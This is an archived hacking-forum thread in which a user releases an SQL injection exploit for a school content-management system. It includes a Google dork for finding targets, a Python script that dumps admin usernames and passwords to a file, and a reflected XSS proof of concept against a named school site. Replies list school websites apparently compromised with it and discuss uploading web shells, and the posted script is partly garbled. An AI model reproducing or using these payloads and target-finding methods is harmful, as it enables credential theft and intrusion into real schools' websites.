

Forum:[Hack Forums](#)

Thread: [? SchoolCMS SQL Injection \[0DAY\]](#)

Dyme - November 28, 2012, 7:25 pm

Today I am very proud to release to you my first 0day. This will also be my 1000th post here on HF and I will shortly be getting upgraded to l33t. Thanks to all who've helped me learn so far; there will be more 0days to come!

The CMS isn't crazy popular but I found around 7 exploitable sites by just using a dork I made. Below are the details:

Code #Title: SchoolCMS SQL Injection
#Date: 11/28/12
#Author: Dyme
#Vendor: www.poweritschools.com
#Google Dork: inurl:/old_core/newsletter.php
#Tested on: Windows 8, Ubuntu 12.04

The vulnerability was found in the newsletter.php script.
Here is the actual exploit I wrote. The script automatically injects the site for you and dumps the SchoolCMS usernames and password into dump.txt. It's written in python (inb4useperl00b) and the code might be a bit messy to you, but hey, it works! ?

None of that post + PM bullshit, LEECHERS GO WILD!

```
Code #!/usr/bin/python
import urllib2
import re

def get_sauce(site):
    response = urllib2.urlopen(site)
    page_source = response.read()
    return page_source

def inject(site):
    eqpos = site.find("=");
    nsitelist = list(site)
    nsitelist.insert(eqpos+1, "-")
    nsite = "".join(nsitelist)
    dump = open('dump.txt', 'w')
    limit = 0
    syntax = nsite +
"+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+aut
huser+LIMIT+" + str(limit) + ",1--"
    sauce = get_sauce(syntax)
    while "Error : Unable to access the templates directory" in sauce:
        syntax = nsite +
"+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+aut
huser+LIMIT+" + str(limit) + ",1--"
        sauce = get_sauce(syntax)
        if "Error : Unable to access the templates directory" in sauce:
```

```
print "_____ "
print "|_ _ _ _ _ "
print "|| _ _ _ _ _ "
print "|| |[[\ [ ][-.-.-. / _ \"
print " _ | _.' / \ / / | | | | | \ _., \"
print "| _ _ _ _ _.'[ \ _ _ / [ _ || _ || _ ]'. _ _.' \"
print " _ _ _ _ _ \"
print "#####\"
print "#Title: SchoolCMS SQL Injection #\"
print "#Date: 11/28/12 #\"
print "#Author: Dyme #\"
print "#Vendor: www.poweritschools.com #\"
print "#Tested on: Windows 8, Ubuntu 12.04 #\"
print "#####\"
```

Enjoy! ?(???)?

so nice work thx for share and i hope to find my first Oday 2 :)

keep going

Great work Dyme .
didn't had time to look into it but ill read it later .
also congratz on 1000 posts ;3

Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?

Impressive! Nice find brotha, unfortunately due to server extension privileges was unable to shell. ?

<http://www.germantowncsd.org/file/10742/view>
<http://www.williamstownelementary.org/file/6306/view>

btw ..Congrats on your 1,000th post. ?

SoLong - November 29, 2012, 1:27 am

Nice find right there!

Congrats on your first Oday, hopefully there will be more :3

JOrd - November 29, 2012, 5:01 am

Congrats on 1,000 Dyme you crazy fooker :)

Illicit - November 29, 2012, 9:46 am

Congratz on this :P Im going to start looking for some more Oday's now :P

OT : Good to see you are getting 1337!

Zixem - November 29, 2012, 10:37 am

Congratulations on 1k posts and on finding your fist Oday OP.

Catzbow - November 29, 2012, 11:33 am

Well, very good for your first Oday, you're getting better and better.. :3 .

happyhaxor - November 29, 2012, 11:55 am

Great work mate!! :D :D :D

#35CharacterShit

ajkaro - November 29, 2012, 12:01 pm

Congratulation for your 1000 posts. ??

Dyme - November 29, 2012, 12:04 pm

(Nov 28, 2012 10:09 PM)PuzzuS Wrote: [\[CITE\]](#) Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?

Yeah, I'm loving it so far :3

Thanks for the love everybody. There will be more to come!

LevelUp - November 29, 2012, 12:07 pm

Congratulations on getting your first Oday!

PuzzuS - November 29, 2012, 12:19 pm

(Nov 29, 2012 01:04 PM)Dyme Wrote: [\[CITE\]](#) Yeah, I'm loving it so far :3

Me too,the story is beautiful :3

---+---+---+

Cyber-Ghost - November 29, 2012, 3:11 pm

Congratulations, but how can i shell this script? :(

Dyme - November 29, 2012, 4:39 pm

(Nov 29, 2012 04:11 PM)Cyber-Ghost Wrote: [\[CITE\]](#) Congratulations, but how can i shell this script? :(
The exploit I wrote only dumps the logins for SchoolCMS. Therefore you have to use one of these

to login, and upload the shell via the userCP. If you'd like to try and upload your shell via load_file be my guest. I'm 99% sure it doesn't work though.

Phizo - November 29, 2012, 4:56 pm

(Nov 29, 2012 05:39 PM)Dyme Wrote: [\[CITE\]](#) The exploit I wrote only dumps the logins for SchoolCMS. Therefore you have to use one of these to login, and upload the shell via the userCP. If you'd like to try and upload your shell via load_file be my guest. I'm 99% sure it doesn't work though. load_file() will show the contents of a file, I believe you're referring to the INTO OUTFILE data manipulation statement.

You're correct about it's rarity though, you're not very likely to find a user with file_priv set.

Anyway, congratulations on your first 0day. :3

phlow - December 1, 2012, 3:50 pm

Congratulations on your first 0day man. I'm looking forward to seeing more from you.

Anoxios - December 2, 2012, 3:15 am

Congratulations... very good bro!!!!

zombiehacker - December 2, 2012, 3:17 am

This is the best code part.

```
print "  "
print "|_ `."
print " | | ` \ _ .---. .---. "
print " | | | [ \ [ ] [ `-. -. / / _ \ "
print " _ | | _.' \ ' / / | | \ _., "
print "| _.' [ \: / [ _ || _ || _ ]'. _.' "
print " \ _.' "
print "###"
print "#Title: SchoolCMS SQL Injection #"
print "#Date: 11/28/12 #"
print "#Author: Dyme #"
print "#Vendor: www.poweritschools.com #"
print "#Tested on: Windows 8, Ubuntu 12.04 #"
print "###"
```

soinc16 - December 2, 2012, 3:50 am

Thanks mate :)

Appreciate the share and your exploit.

amus3d - December 2, 2012, 7:05 am

I saw you posted this the other day, and forgot to post here. :3

Good job, Dyme. ;3

L:Reau - December 2, 2012, 7:08 am

This looks very good, grats on 1000 posts and keep on going :D

?A.J? - December 2, 2012, 9:45 am

Thanks mate. Gonna have a look at this shortly!

Dyme - December 2, 2012, 5:19 pm

I also found a non-persistent XSS in the calendar app of SchoolCMS. I can't update my post because of the time limit, so I'll post it below.

Vulnerable link:

Code

/old_core/cal/search.php?allwords=<script>alert(document.cookie)</script>&cid=0&title=1&desc=1

PoC:

Code

http://www.mgrhs.org/old_core/cal/search.php?allwords=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&cid=0&title=1&desc=1

rcvrcv - December 2, 2012, 6:07 pm

Good to see you decided to release your first 0day. Nice trick, I'll see where I can get with it.

(Dec 2, 2012 04:17 AM)zombiehacker Wrote: [\[CITE\]](#) This is the best code part.

```
print " "
print "|_ \. "
print " | | \. \ _ .---. .---. "
print " | | | [ \ [ ] [ \. .-. | / _ \ "
print " _ | | _.' / \ ' / | | \ _.' "
print "| _.' [ \: / [ _ || _ || _ ]. _.' "
print " \ _.' "
print "###"
print "#Title: SchoolCMS SQL Injection #"
print "#Date: 11/28/12 #"
print "#Author: Dyme #"
print "#Vendor: www.poweritschools.com #"
print "#Tested on: Windows 8, Ubuntu 12.04 #"
print "###"
lol'd
```

ram-raid - December 10, 2012, 12:18 pm

Nice little find! Keep up the good work. GOOGLE DORKS ARE NEVER DEAD :D

haskabab - December 15, 2012, 4:00 pm

Awesome script :) Keep up the awesome job!

SIM-1073426 - December 15, 2012, 4:28 pm

This is pretty awesome but, I did get an error when running this on Linux Ubuntu.

Code File "exploit.py", line 17

SyntaxError: Non-ASCII character '\xe2' in file exploit.py on line 17, but no encoding declared; see <http://www.python.org/peps/pep-0263.html> for details

Dyme - December 15, 2012, 4:47 pm

(Dec 15, 2012 05:28 PM)Aces. Wrote: [\[CITE\]](#) This is pretty awesome but, I did get an error when running this on Linux Ubuntu.

Code File "exploit.py", line 17

SyntaxError: Non-ASCII character '\xe2' in file exploit.py on line 17, but no encoding declared; see <http://www.python.org/peps/pep-0263.html> for details

Odd, as you can see I ran it perfectly fine in the SS I posted. What version of python are you running?

SIM-1073426 - December 15, 2012, 5:00 pm

(Dec 15, 2012 05:47 PM)Dyme Wrote: [\[CITE\]](#) Odd, as you can see I ran it perfectly fine in the SS I posted. What version of python are you running?
I'm running the latest I assume, Python 2.7.3.

Dyme - December 15, 2012, 5:08 pm

(Dec 15, 2012 06:00 PM)Aces. Wrote: [CITE](#) I'm running the latest I assume, Python 2.7.3. Researched the error for a few minutes and the following solution seemed to work for a lot of people.

<http://mohsinpage.wordpress.com/2010/06/10/python-syntaxerror-non-ascii-character-xe2-in-file/>

Catzbow - December 15, 2012, 5:11 pm

(Dec 2, 2012 04:17 AM)zombiehacker Wrote: [\[CITE\]](#) This is the best code part.

```
print " "
print "|_ `."
print " || `.\ _ .-.-. .-. ."
print " || |[ \ [ ] | `.-. -. ||/_\ \"
print " _| |_.' / \ / / | || \__, "
print "|_|.'[ \ : / [ _||__||_]'.__.'"
print " \__.'"
print """"
print "#Title: SchoolCMS SQL Injection #"
print "#Date: 11/28/12   #"
print "#Author: Dyme    #"
print "#Vendor: www.poweritschools.com #"
print "#Tested on: Windows 8, Ubuntu 12.04   #"
print """"- He's right.
- Anyway (Huh, I like so much your brain). ^^
```

xerA-> - December 15, 2012, 5:29 pm

What up with this shit?

Dyme - December 15, 2012, 5:48 pm

(Dec 15, 2012 06:11 PM)Skyment Wrote: [\[CITE\]](#) - He's right.

- Anyway (Huh, I like so much your brain). ^^

Don't see why it's a big deal.

(Dec 15, 2012 06:29 PM)?Bluepoison? Wrote: [\[CITE\]](#) What up with this shit?

Care to explain a little more than "What up with this shit?". Perhaps give me the Error you're getting? Don't use the script if you don't want to, just inject the site manually if my "shit" isn't up to your standards.

xerA-> - December 15, 2012, 7:23 pm

(Dec 15, 2012 06:48 PM)Dyme Wrote: [\[CITE\]](#) Don't see why it's a big deal.

Care to explain a little more than "What up with this shit?". Perhaps give me the Error you're getting? Don't use the script if you don't want to, just inject the site manually if my "shit" isn't up to

your standards.

Its givving me syntax errors on the red highlighted "r"s.

Dyme - December 15, 2012, 7:42 pm

(Dec 15, 2012 08:23 PM)?Bluepoison? Wrote: [\[CITE\]](#) Its givving me syntax errors on the red highlighted "r"s.

Yes, and what does the error state?

xerA-> - December 15, 2012, 7:44 pm

(Dec 15, 2012 08:42 PM)Dyme Wrote: [\[CITE\]](#) Yes, and what does the error state?

Fuck.

Downgraded to 2.7.3 and it wont open now.

TheHexPirate - December 15, 2012, 7:51 pm

I love you. I wish I could +3 you, but you can only have my +1 for now.

MyLittlePony - December 15, 2012, 9:46 pm

Nice find, I might start looking for some.

.edu - December 15, 2012, 9:49 pm

Nice Job !

Congrats on your 1000th post ?

sanket_rocker - December 16, 2012, 6:02 am

I tried the script but after i put the vulnerable link there is nothing in the dump.txt and i don't encounter any problem..

Plz help

Dyme - December 16, 2012, 8:05 am

(Dec 16, 2012 07:02 AM)sanket_rocker Wrote: [\[CITE\]](#) I tried the script but after i put the vulnerable link there is nothing in the dump.txt and i don't encounter any problem..

Plz help

PM the site you are attempting to exploit.

ssyn.c - December 26, 2012, 11:52 pm

Great Script. I've coded a few things in perl and python. Gratz btw.

?Hycca - December 26, 2012, 11:58 pm

(Dec 27, 2012 12:52 AM)ssyn.c Wrote: [\[CITE\]](#) Great Script. I've coded a few things in perl and python. Gratz btw.Why are you ing this thread? This '0-day' is ancient.

PedroDJ - December 27, 2012, 3:45 am

Nice find right there!

Congrats on your first 0day, hopefully there will be more :3

Dyme - December 27, 2012, 9:34 am

(Dec 27, 2012 12:52 AM)ssyn.c Wrote: [\[CITE\]](#) Great Script. I've coded a few things in perl and python. Gratz btw.

Thanks for the feedback, but like T1T5 said don't b.u.m.p.

(Dec 27, 2012 12:58 AM)T1T5 Wrote: [\[CITE\]](#) Why are you ing this thread? This '0-day' is ancient. Not even close to a 0day any more ?

I'll be closing this thread to prevent further b.u.m.p.ing. PM me if you need any help with the script or exploit.